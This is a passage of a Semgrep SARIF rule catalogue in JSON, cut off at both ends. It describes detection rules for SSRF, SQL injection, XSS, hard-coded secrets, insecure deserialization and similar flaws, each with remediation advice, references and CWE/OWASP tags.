it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","id":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","name":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","id":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","name":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","id":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","name":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"help":{"markdown":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver","id":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","name":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.keyedarchiver.swift-keyedarchiver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","id":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","name":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.npmjs.com/package/bcrypt](https://www.npmjs.com/package/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","id":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","name":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","id":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","name":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape)\n - [http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/](http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/)\n","text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"help":{"markdown":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"helpUri":"https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","id":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","name":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"help":{"markdown":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key)\n - [https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/](https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/)\n - [https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d](https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d)\n","text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","id":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","name":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"help":{"markdown":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect)\n - [https://brakemanscanner.org/docs/warning_types/redirect/](https://brakemanscanner.org/docs/warning_types/redirect/)\n","text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","id":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","name":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","id":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","name":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint","id":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","name":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint.pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","id":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","name":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to 